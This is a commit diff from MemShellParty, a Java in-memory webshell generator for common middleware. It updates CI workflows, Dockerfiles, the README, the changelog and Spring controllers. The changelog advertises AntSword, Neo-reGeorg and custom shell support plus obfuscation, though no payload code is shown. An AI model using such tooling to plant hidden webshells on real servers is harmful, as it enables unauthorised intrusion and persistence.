docs: update CHANGELOG

1. remove source file symbol (#46)
2. remove debug info when enable shrink (#29)

.github/scripts/parse_changelog_of_version.py

@@ -0,0 +1,35 @@
+import argparse
+import sys
+
+if __name__ == '__main__':
+    capture = False
+    result_lines = []
+    parser = argparse.ArgumentParser(description="Extract changelog for a specific version")
+    parser.add_argument("version", help="The version of the changelog to extract, e.g. 'v1.0.0'")
+    args = parser.parse_args()
+    version = args.version
+
+    with open("../../CHANGELOG.md") as f:
+        lines = f.readlines()
+        for line in lines:
+            if line.startswith(f"## [{version}]"):
+                capture = True
+            elif capture and line.startswith("## ["):
+                break
+            elif capture:
+                result_lines.append(line)
+    if not result_lines:
+        print("Specified version not found.", file=sys.stderr)
+        sys.exit(1)
+    result_lines.append("## 更新方式\n")
+    result_lines.append("### Docker 部署\n")
+    result_lines.append("```bash\n")
+    result_lines.append("docker rm -f memshell-party\n\n")
+    result_lines.append("docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest\n")
+    result_lines.append("```\n")
+    result_lines.append("### Jar 包启动\n")
+    result_lines.append("> 仅支持 JDK17 及以上版本\n")
+    result_lines.append("```bash\n")
+    result_lines.append(f"java -jar --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED boot-{version.strip('v')}.jar\n")
+    result_lines.append("```\n")
+    print("".join(result_lines).strip())

.github/workflows/dev-deploy.yaml

@@ -0,0 +1,94 @@
+name: "Dev Deploy"
+
+on:
+  push:
+    branches:
+      - dev
+    paths-ignore:
+      - 'docs/**'
+      - 'boot/**'
+      - 'web/**'
+      - '**.md'
+      - '**/*.png'
+
+jobs:
+  build-jar:
+    name: Build Jar
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Java
+        uses: actions/setup-java@v4
+        with:
+          distribution: 'temurin'
+          java-version: 17
+
+      - name: Setup Gradle
+        uses: gradle/actions/setup-gradle@v4
+
+      - name: Setup Bun
+        uses: oven-sh/setup-bun@v2
+        with:
+          bun-version: latest
+
+      - name: Build Web with Bun
+        working-directory: web
+        run: bun install --frozen-lockfile && bun run build
+
+      - name: Build Boot with Gradle
+        run: ./gradlew -Pversion=dev :boot:bootjar -x test
+
+      - name: Upload Boot Jar
+        uses: actions/upload-artifact@v4
+        with:
+          name: boot
+          path: boot/build/libs/boot-dev.jar
+
+  docker-push:
+    name: Docker Push
+    needs: [ build-jar ]
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Download Boot Jar
+        uses: actions/download-artifact@v4
+        with:
+          name: boot
+          path: boot/build/libs
+
+      - name: Login to Docker Hub
+        uses: docker/login-action@v3
+        with:
+          registry: docker.io
+          username: ${{ vars.DOCKERHUB_USERNAME }}
+          password: ${{ secrets.DOCKERHUB_TOKEN }}
+
+      - name: Set up QEMU
+        uses: docker/setup-qemu-action@v3
+      - name: Set up Docker Buildx
+        uses: docker/setup-buildx-action@v3
+
+      - name: Build and push
+        uses: docker/build-push-action@v6
+        with:
+          context: boot
+          platforms: linux/amd64,linux/arm64
+          push: true
+          tags: docker.io/reajason/memshell-party:dev
+
+  deploy-northflank:
+    name: Deploy to Northflank
+    needs: [ docker-push ]
+    runs-on: ubuntu-latest
+    env:
+      NORTHFLANK_API_KEY: ${{ secrets.NORTHFLANK_API_KEY }}
+    steps:
+      - name: Update Deployment
+        run: |
+          curl --header "Content-Type: application/json" \
+               --header "Authorization: Bearer $NORTHFLANK_API_KEY" \
+               --request POST \
+               --data '{"external":{"imagePath":"docker.io/reajason/memshell-party:dev","credentials":"docker-hub"},"docker":{"configType":"default"}}' \
+               https://api.northflank.com/v1/projects/memshellparty/services/prereleasememshellparty/deployment

.github/workflows/release.yaml

@@ -15,19 +15,19 @@ jobs:
       changelog: ${{ steps.get_changelog.outputs.changelog }}
     steps:
       - uses: actions/checkout@v4
-      - uses: actions/setup-python@v5
-        with:
-          python-version: '3.13'
 
       - name: Get Version
         id: get_version
-        uses: battila7/get-version-action@v2
+        run: |
+          VERSION=${GITHUB_REF#refs/tags/}
+          VERSION_WITHOUT_V=${VERSION#v}
+          echo "version=$VERSION" >> $GITHUB_OUTPUT
+          echo "version-without-v=$VERSION_WITHOUT_V" >> $GITHUB_OUTPUT
 
       - name: Get ChangeLog
         id: get_changelog
-        working-directory: scripts
+        working-directory: .github/scripts
         run: |
-          CHANGELOG=$(python parse_changelog_of_version.py "${{ steps.get_version.outputs.version }}")
           echo "changelog<<EOF" >> $GITHUB_OUTPUT
           echo "$(python parse_changelog_of_version.py ${{ steps.get_version.outputs.version }})" >> $GITHUB_OUTPUT
           echo "EOF" >> $GITHUB_OUTPUT
@@ -48,11 +48,6 @@ jobs:
       - name: Setup Gradle
         uses: gradle/actions/setup-gradle@v4
 
-      - name: Setup Node
-        uses: actions/setup-node@v4
-        with:
-          node-version: '23'
-
       - name: Setup Bun
         uses: oven-sh/setup-bun@v2
         with:
@@ -109,13 +104,11 @@ jobs:
           context: boot
           platforms: linux/amd64,linux/arm64
           push: true
-          build-args: |
-            VERSION=${{ needs.info.outputs.version-without-v }}
           tags: |
-            docker.io/reajason/memshell-party:latest
             docker.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
-            ghcr.io/reajason/memshell-party:latest
+            docker.io/reajason/memshell-party:latest
             ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
+            ghcr.io/reajason/memshell-party:latest
 
   create-release:
     name: Create Release

.gitignore

@@ -29,6 +29,10 @@ replay_pid*
 **/build/
 !src/**/build/
 
+**/bin/
+!**/src/main/**/bin/
+!**/src/test/**/bin/
+
 # Ignore Gradle GUI config
 gradle-app.setting
 
@@ -49,3 +53,11 @@ gradle-app.setting
 
 .DS_Store
 *.iml
+.vscode/
+
+# enterprise integration test cases
+snippets/
+integration-test/**/apusic
+integration-test/**/bes
+integration-test/**/tongweb
+integration-test/**/inforsuite

CHANGELOG.md

@@ -5,6 +5,70 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
+
+> 做代码生成以及代码混淆真是一件需要耐心的事情
+
+### Added
+
+- 支持自定义内存马生成（#49）by @ReaJason
+- 支持命令回显 ASM Agent 内存马（#51）by @ReaJason
+- 支持简易的代码混淆（#13）by @ReaJason
+- 支持自动发布 DEV 分支代码 CD
+
+### Changed
+
+- 简化 Jetty 获取 Context 代码
+- 优化 Dockerfile 减小镜像体积
+
+**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)
+
+## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
+
+### Added
+
+- 支持 NeoreGeorg 内存马生成 by @ReaJason
+- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
+
+### Changed
+
+- 简化 Valve 内存马代码
+- 升级 Gradle 8.13
+
+**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
+
+## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
+
+### Added
+
+- 支持缩小字节码 (移除调试信息) by @ReaJason
+- 支持 Tomcat Jakarta WebSocket
+
+### Fixed
+
+- 修复自定义注入器类名不起作用
+
+### Changed
+
+- 优化跨平台开发体验，将 bash 脚本改为 js 脚本
+
+**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)
+
+## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
+
+### Fixed
+
+- 修复 Tomcat WebSocket 注入报错，无法工作
+
+### Changed
+
+- 添加 foojay-toolchains 插件，支持 Dockerfile 构建时自动下载缺失的 JDK 版本
+- 优化构建 Spring Boot 的 Dockerfile，最小权限原则
+- 支持一键构建的 Dockerfile，适配需要 NGINX 反代的场景
+- 代码重构支持一处注册所有 Server 的 Shell 配置
+
+**Full Changelog:** [v1.3.1...v1.3.2](https://github.com/ReaJason/MemShellParty/compare/v1.3.1...v1.3.2)
+
 ## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
 
 ### Added

Dockerfile

@@ -0,0 +1,63 @@
+FROM buildpack-deps:bullseye-scm AS source
+
+ARG VERSION="1.0.0"
+ENV VERSION=${VERSION}
+
+WORKDIR /usr/src
+
+RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
+    rm -rf vul integration-test tools
+
+FROM oven/bun:1.2.2 AS frontend
+
+ARG ROUTE_ROOT_PATH="/"
+ARG CONTEXT_PATH=""
+
+WORKDIR /usr/src/web
+
+ENV VITE_APP_API_URL=${CONTEXT_PATH} \
+    VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
+
+COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
+
+RUN bun install --frozen-lockfile
+
+COPY --from=source /usr/src/web /usr/src/web
+
+RUN bun run build
+
+FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
+
+ARG VERSION="1.0.0"
+ENV VERSION=${VERSION}
+
+WORKDIR /usr/src
+
+COPY --from=source /usr/src /usr/src
+
+COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
+
+RUN ./gradlew -Pversion=${VERSION} :boot:bootjar -x test
+
+FROM eclipse-temurin:17.0.14_7-jre-noble
+
+LABEL authors="ReaJason<[email protected]>"
+
+WORKDIR /app
+
+RUN groupadd -r spring && \
+    useradd -r -g spring spring
+
+COPY --from=backend --chown=spring:spring /usr/src/boot/build/libs/*.jar app.jar
+
+USER spring:spring
+
+ENV INTERNAL_JAVA_OPTS="\
+    -Djava.security.egd=file:/dev/./urandom -Dfastison.parser.safeMode=true \
+    --add-opens=java.base/java.util=ALL-UNNAMED \
+    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
+    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
+
+EXPOSE 8080
+
+ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]

README.md

@@ -17,23 +17,9 @@
 MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台，并且致力于打造内存马的全方位的学习平台。
 在遍地是轮子的时代，是时候造车，带着大伙加速冲冲冲了。
 
-MemShellParty 出现的原因有以下几个：
-
-1. 工作中有时候客户会有个别中间件的内存马测试需求，这个时候临时写一个太慢又太烦，在不忙的时候做一个工具，有需求就生成一个多好（之前用 [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
-生成一个 WAS 的内存马不能用，调了半天修好了）。
-2. 写 [Javassist](https://www.javassist.org/) 实在是太多了，字符串拼接的方式去弄方法 code
-   实在是看得眼睛疼，又不好维护，代码组织合理的话其实都可以，不过做项目我还是推荐 [Byte Buddy](https://bytebuddy.net/)，高封装提供的
-   API 很好用的。单个利用脚本的话确实 [Javassist](https://www.javassist.org/) 来得快，而且很多中间件也自带依赖直接能打。
-3. [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
-   的出现确实帮大忙了，但是其极少的交互逻辑对于一个应用来说是难以接受的，刚好学习了前端对 UX 也感兴趣（对 Desktop
-   应用无感），必须得整一个玩玩。
-4. 因为对自动化测试特别感兴趣，刚好找到了 [Testcontainers](https://testcontainers.com/)
-   ，并且看了一圈武器化工具基本都是无测试的，所以尝试写写可行的集成测试分享分享，被测试包裹的代码，修改起来信心也大，同时也希望这个项目能长久发展。
-5. 特别多的师傅写了 Java 内存马相关的项目，不过都慢慢就不维护了（或者不公开代码了），我举手来整合一下，嘿嘿。
-
 希望你能从这个项目学会或尝试做的：
 
-1. 学会编写常见中间件框架的内存马编写方式。
+1. 学会编写常见中间件框架的内存马。
 2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
 3. 学会使用 GitHub Actions 编写 CI/CD，编写 CHANGELOG 并通过 CI 自动发布 Release。
 4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类，编写 Agent。
@@ -46,19 +32,23 @@ MemShellParty 出现的原因有以下几个：
 ## 主要特性
 
 - 无侵入性：生成的内存马不会影响目标中间件正常流量，即使同时注入十几个不同的内存马。
-- 高可用性: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
-- 最小化: 尽可能精简内存马大小，高效传输。
-- 强兼容性: 覆盖攻防场景下常见中间件和框架。
+- 高可用性：自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
+- 最小化：尽可能精简内存马大小，高效传输。
+- 强兼容性：覆盖攻防场景下常见中间件和框架。
 
 ## 快速使用
 
 ### 在线站点
 
-可直接访问 https://party.memshell.news （没做加速，搭建在 [Northflank](https://northflank.com/) US
+> 仅限尝鲜的小伙伴，对于其他暴露在公网的服务请谨慎使用，小心生成的内存马带后门
+
+可直接访问 https://party.memshell.news（搭建在 [Northflank](https://northflank.com/) US
 节点上，访问较慢，Thanks [@xcxmiku](https://github.com/xcxmiku)），每次 Release 都会自动部署最新的镜像。
 
 ### 本地部署（推荐）
 
+> 适合内网或本地快速部署，直接使用 Docker 启动服务方便快捷
+
 使用 docker 部署之后访问 http://127.0.0.1:8080
 
 ```bash
@@ -78,7 +68,7 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju
 # 移除之前部署的
 docker rm -f memshell-party
 
-# 使用之前的部署命令，重新部署（会自动拉取最新的镜像部署）
+# 使用之前的部署命令重新部署（会自动拉取最新的镜像部署）
 docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
 ```
 
@@ -135,8 +125,8 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
 - [x] 命令执行
 - [x] Suo5
 - [x] AntSword 蚁剑
-- [ ] Neo-reGeorg
-- [ ] Custom
+- [x] Neo-reGeorg
+- [x] Custom
 
 ### 封装方式
 
@@ -157,6 +147,108 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
 - [ ] JDBC 连接
 - [ ] 其他常见反序列化
 
+## 本地构建
+
+### 源代码构建
+
+> 适合想编写代码的小伙伴，使用 Git Clone 下载到本地，并构建前后端项目以供使用
+
+首先需要下载 [bun](https://bun.sh/)，这是一款用于构建前端服务的工具。
+
+1. 使用 Git Clone 项目
+   ```bash
+   git clone https://github.com/ReaJason/MemShellParty.git
+   ```
+2. 构建前端项目，build 结束会将静态资源自动移动到 Spring Boot 中以供使用
+   ```bash
+   cd MemShellParty/web
+   
+   bun install
+   
+   bun run build
+   ```
+3. 构建后端项目，确保使用 JDK17 环境
+   ```bash
+   cd MemShellParty/boot
+   
+   ./gradlew :boot:bootjar -x test
+   ```
+
+构建完之后，可直接启动 jar 包，jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
+
+```bash
+cd MemShellParty/boot
+
+java -jar \
+     --add-opens=java.base/java.util=ALL-UNNAMED \
+     --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
+     --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
+     build/libs/boot-1.0.0.jar
+```
+
+也可这基础上再继续构建容器来使用
+
+```bash
+cd MemShellParty/boot
+
+docker buildx build -t memshell-party:latest . --load
+
+docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
+```
+
+### Dockerfile 一键构建
+
+> 适合于希望构建自定义访问路径的小伙伴，例如 NGINX 反代的场景（[#44](https://github.com/ReaJason/MemShellParty/issues/44)）
+
+下载项目根目录的 [Dockerfile](./Dockerfile)
+
+- VERSION: 版本信息，随意，建议用最新的 tag 号，仅作前端展示
+- ROUTE_ROOT_PATH: 前端根路由配置
+- CONTEXT_PATH: 后端访问前缀
+
+```bash
+# 基础构建
+docker buildx build \
+    --build-arg VERSION=1.6.0 \
+    -t memshell-party:latest . --load
+
+# 基础镜像启动，访问 127.0.0.1:8080
+docker run -it -d -p 8080:8080 memshell-party:latest
+
+# 自定义访问路径构建
+docker buildx build \
+    --build-arg VERSION=1.6.0 \
+    --build-arg ROUTE_ROOT_PATH=/memshell-party \
+    --build-arg CONTEXT_PATH=/memshell-party \
+    -t memshell-party:latest . --load
+    
+# 自定义路径构建镜像启动，访问 127.0.0.1:8080/memshell-party
+docker run -it -p 8080:8080 \
+    -e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
+    memshell-party:latest
+```
+
+如果需要使用 NGINX 反代，请先使用自定义访问路径构建容器，并配置 NGINX 如下：
+
+其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和
+`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
+
+```text
+location /memshell-party {
+  proxy_pass http://127.0.0.1:8080;
+  proxy_set_header Host $http_host;
+  proxy_set_header X-Forwarded-By $server_addr:$server_port;
+  proxy_set_header X-Forwarded-For $remote_addr;
+  proxy_http_version 1.1;
+  proxy_connect_timeout 3s;
+  proxy_read_timeout 300s;
+  proxy_send_timeout 300s;
+  proxy_buffer_size 16k;
+  proxy_buffers 8 64k;
+  proxy_busy_buffers_size 128k;
+}
+```
+
 ## How
 
 1. 如何使用 bytebuddy 生成类，为属性赋值，添加方法，指定位置调用方法？（**WIP**）

asserts/neoreg/Dockerfile

@@ -0,0 +1,9 @@
+FROM python:3.12-slim
+
+WORKDIR /app
+
+RUN pip install requests
+
+COPY neoreg.py .
+
+CMD ["tail", "-f", "/dev/null"]

bom/build.gradle

@@ -5,6 +5,8 @@ plugins {
 dependencies {
     constraints {
         api 'net.bytebuddy:byte-buddy:1.+'
+        api 'org.ow2.asm:asm-commons:9.7.1'
+        api 'com.github.jar-analyzer:class-obf:1.5.0'
 
         api 'javax.servlet:javax.servlet-api:3.0.1'
         api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
@@ -19,7 +21,6 @@ dependencies {
         api 'commons-codec:commons-codec:1.+'
         api 'ch.qos.logback:logback-classic:1.+'
 
-        api 'xalan:xalan:2.7.0'
         api 'org.apache.bcel:bcel:5.2'
 
         api 'org.java-websocket:Java-WebSocket:1.5.7'
@@ -28,7 +29,8 @@ dependencies {
 
         api 'org.jetbrains:annotations:26.0.1'
 
-        api "org.mockito:mockito-core:5.15.2"
+        api 'org.mockito:mockito-core:5.15.2'
+        api 'org.mockito:mockito-junit-jupiter:5.15.2'
         api 'org.hamcrest:hamcrest:3.0'
         api 'org.junit:junit-bom:5.11.4'
         api 'org.testcontainers:testcontainers:1.20.5'

boot/.gitignore

@@ -4,6 +4,8 @@ build/
 !gradle/wrapper/gradle-wrapper.jar
 !**/src/main/**/build/
 !**/src/test/**/build/
+src/main/resources/static/
+src/main/resources/templates/
 
 ### STS ###
 .apt_generated

boot/Dockerfile

@@ -1,20 +1,22 @@
-FROM eclipse-temurin:17-jre
-
-ARG VERSION=1.0.0
-
-ENV VERSION=$VERSION
+FROM eclipse-temurin:17.0.14_7-jre-noble
 
 LABEL authors="ReaJason<[email protected]>"
 
 WORKDIR /app
-COPY build/libs/boot-${VERSION}.jar app.jar
 
-ENV JAVA_OPTS="" \
-    INTER_JAVA_OPTS="\
-                    --add-opens=java.base/java.util=ALL-UNNAMED \
-                    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
-                    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
+RUN groupadd -r spring && \
+    useradd -r -g spring spring
+
+COPY --chown=spring:spring build/libs/*.jar app.jar
+
+USER spring:spring
+
+ENV INTERNAL_JAVA_OPTS="\
+    -Djava.security.egd=file:/dev/./urandom -Dfastison.parser.safeMode=true \
+    --add-opens=java.base/java.util=ALL-UNNAMED \
+    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
+    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
 
 EXPOSE 8080
 
-ENTRYPOINT java $JAVA_OPTS $INTER_JAVA_OPTS -jar app.jar
+ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]

boot/build.gradle

@@ -44,7 +44,6 @@ dependencies {
     implementation(project(":deserialize")) {
         exclude group: 'commons-logging', module: 'commons-logging'
     }
-    implementation 'org.apache.bcel:bcel'
     implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
     implementation('org.springframework.boot:spring-boot-starter-web') {
         exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
@@ -58,6 +57,6 @@ dependencies {
     testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
 }
 
-tasks.named('test') {
+test {
     useJUnitPlatform()
 }

boot/src/main/java/com/reajason/javaweb/boot/config/WebConfig.java

@@ -0,0 +1,21 @@
+package com.reajason.javaweb.boot.config;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.http.client.SimpleClientHttpRequestFactory;
+import org.springframework.web.client.RestTemplate;
+
+/**
+ * @author ReaJason
+ */
+@Configuration
+public class WebConfig {
+
+    @Bean
+    public RestTemplate restTemplate() {
+        SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
+        factory.setConnectTimeout(3000);
+        factory.setReadTimeout(3000);
+        return new RestTemplate(factory);
+    }
+} 

boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java

@@ -1,17 +1,16 @@
 package com.reajason.javaweb.boot.controller;
 
 import com.reajason.javaweb.boot.entity.Config;
-import com.reajason.javaweb.memshell.AbstractShell;
-import com.reajason.javaweb.memshell.config.Server;
-import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packers;
+import com.reajason.javaweb.memshell.Packers;
+import com.reajason.javaweb.memshell.Server;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.server.AbstractShell;
 import org.springframework.http.ResponseEntity;
 import org.springframework.web.bind.annotation.CrossOrigin;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
 
 import java.util.*;
-import java.util.stream.Collectors;
 
 /**
  * @author ReaJason
@@ -29,10 +28,9 @@ public class ConfigController {
             if (shell == null) {
                 continue;
             }
-            ShellTool[] supportedShellTools = ShellTool.values();
-            Map<String, List<String>> map = new LinkedHashMap<>(16);
-            for (ShellTool shellTool : supportedShellTools) {
-                List<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
+            Map<String, Set<String>> map = new LinkedHashMap<>(16);
+            for (ShellTool shellTool : shell.getSupportedShellTools()) {
+                Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
                 if (supportedShellTypes.isEmpty()) {
                     continue;
                 }
@@ -41,12 +39,14 @@ public class ConfigController {
             coreMap.put(value.name(), map);
         }
         Config config = new Config();
-        config.setServers(
-                Arrays.stream(Server.values())
-                        .filter(s -> s.getShell() != null)
-                        .map(Server::name)
-                        .collect(Collectors.toList())
-        );
+        Map<String, List<String>> servers = new LinkedHashMap<>();
+        for (Server server : Server.values()) {
+            if (server.getShell() != null) {
+                Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
+                servers.put(server.name(), supportedShellTypes.stream().toList());
+            }
+        }
+        config.setServers(servers);
         config.setCore(coreMap);
         config.setPackers(
                 Arrays.stream(Packers.values())

boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java

@@ -1,6 +1,6 @@
 package com.reajason.javaweb.boot.controller;
 
-import com.reajason.javaweb.GeneratorMain;
+import com.reajason.javaweb.memshell.MemShellGenerator;
 import com.reajason.javaweb.boot.dto.GenerateRequest;
 import com.reajason.javaweb.boot.dto.GenerateResponse;
 import com.reajason.javaweb.memshell.config.GenerateResult;
@@ -28,7 +28,7 @@ public class GeneratorController {
         ShellConfig shellConfig = request.getShellConfig();
         ShellToolConfig shellToolConfig = request.parseShellToolConfig();
         InjectorConfig injectorConfig = request.getInjectorConfig();
-        GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
+        GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
         Packer packer = request.getPacker().getInstance();
         if (packer instanceof JarPacker) {
             return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));

boot/src/main/java/com/reajason/javaweb/boot/controller/VersionController.java

@@ -1,10 +1,20 @@
 package com.reajason.javaweb.boot.controller;
 
+import com.reajason.javaweb.boot.entity.VersionInfo;
 import org.springframework.beans.factory.annotation.Value;
+import org.springframework.core.ParameterizedTypeReference;
+import org.springframework.http.HttpMethod;
+import org.springframework.http.HttpStatus;
+import org.springframework.http.ResponseEntity;
 import org.springframework.web.bind.annotation.CrossOrigin;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
+import org.springframework.web.client.RestTemplate;
+import org.thymeleaf.util.StringUtils;
+
+import java.util.List;
+import java.util.Map;
 
 /**
  * @author ReaJason
@@ -16,10 +26,66 @@ import org.springframework.web.bind.annotation.RestController;
 public class VersionController {
 
     @Value("${spring.application.version}")
-    String version;
+    private String version;
+
+    private final RestTemplate restTemplate;
+
+    public VersionController(RestTemplate restTemplate) {
+        this.restTemplate = restTemplate;
+    }
 
     @GetMapping
-    public String version() {
+    public VersionInfo version() {
+        if ("dev".equals(version)) {
+            return VersionInfo.builder()
+                    .currentVersion(version)
+                    .latestVersion(version).build();
+        }
+        String latestVersion = getLatestGithubRelease();
+        return VersionInfo.builder()
+                .currentVersion(version)
+                .latestVersion(latestVersion)
+                .hasUpdate(!StringUtils.equals(version, latestVersion))
+                .build();
+    }
+
+    private String getLatestGithubRelease() {
+        try {
+            String latestVersion = tryFetchRelease("https://api.github.com");
+            if (latestVersion != null) {
+                return latestVersion;
+            }
+            latestVersion = tryFetchRelease("https://gh.llkk.cc/https://api.github.com");
+            if (latestVersion != null) {
+                return latestVersion;
+            }
+        } catch (Exception ignored) {
+        }
         return version;
     }
+
+    private String tryFetchRelease(String baseUrl) {
+        String apiUrl = String.format("%s/repos/%s/%s/releases", baseUrl, "ReaJason", "MemShellParty");
+
+        ResponseEntity<List<Map<String, Object>>> response = restTemplate.exchange(
+                apiUrl,
+                HttpMethod.GET,
+                null,
+                new ParameterizedTypeReference<>() {
+                }
+        );
+        if (response.getStatusCode() == HttpStatus.OK && response.getBody() != null) {
+            List<Map<String, Object>> body = response.getBody();
+            for (Map<String, Object> map : body) {
+                String targetCommitish = (String) map.get("target_commitish");
+                Boolean prerelease = (Boolean) map.get("prerelease");
+                Boolean draft = (Boolean) map.get("draft");
+                if ("master".equals(targetCommitish) && !prerelease && !draft) {
+                    String tagName = (String) map.get("name");
+                    return tagName.startsWith("v") ? tagName.substring(1) : tagName;
+                }
+            }
+        }
+        return null;
+    }
 }

boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.boot.dto;
 
+import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.config.*;
-import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.Data;
 
 /**
@@ -25,6 +25,7 @@ public class GenerateRequest {
         private String antSwordPass;
         private String headerName;
         private String headerValue;
+        private String shellClassBase64;
     }
 
     public ShellToolConfig parseShellToolConfig() {
@@ -51,12 +52,21 @@ public class GenerateRequest {
                     .headerName(shellToolConfig.getHeaderName())
                     .headerValue(shellToolConfig.getHeaderValue())
                     .build();
-            case AntSword ->  AntSwordConfig.builder()
+            case AntSword -> AntSwordConfig.builder()
                     .shellClassName(shellToolConfig.getShellClassName())
                     .pass(shellToolConfig.getAntSwordPass())
                     .headerName(shellToolConfig.getHeaderName())
                     .headerValue(shellToolConfig.getHeaderValue())
                     .build();
+            case NeoreGeorg -> NeoreGeorgConfig.builder()
+                    .shellClassName(shellToolConfig.getShellClassName())
+                    .headerName(shellToolConfig.getHeaderName())
+                    .headerValue(shellToolConfig.getHeaderValue())
+                    .build();
+            case Custom -> CustomConfig.builder()
+                    .shellClassBase64(shellToolConfig.getShellClassBase64())
+                    .shellClassName(shellToolConfig.getShellClassName())
+                    .build();
             default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
         };
     }

boot/src/main/java/com/reajason/javaweb/boot/entity/Config.java

@@ -11,7 +11,7 @@ import java.util.Map;
  */
 @Data
 public class Config {
-    private List<String> servers;
+    private Map<String, List<String>> servers;
     private Map<String, Map<?, ?>> core;
     private List<String> packers;
 }

boot/src/main/java/com/reajason/javaweb/boot/entity/VersionInfo.java

@@ -0,0 +1,15 @@
+package com.reajason.javaweb.boot.entity;
+
+import lombok.Data;
+import lombok.Builder;
+
+/**
+ * @author ReaJason
+ */
+@Data
+@Builder
+public class VersionInfo {
+    private String currentVersion;
+    private String latestVersion;
+    private boolean hasUpdate;
+} 

build.gradle

@@ -12,10 +12,6 @@ allprojects {
             implementation platform(project(':bom'))
         }
     }
-
-    repositories {
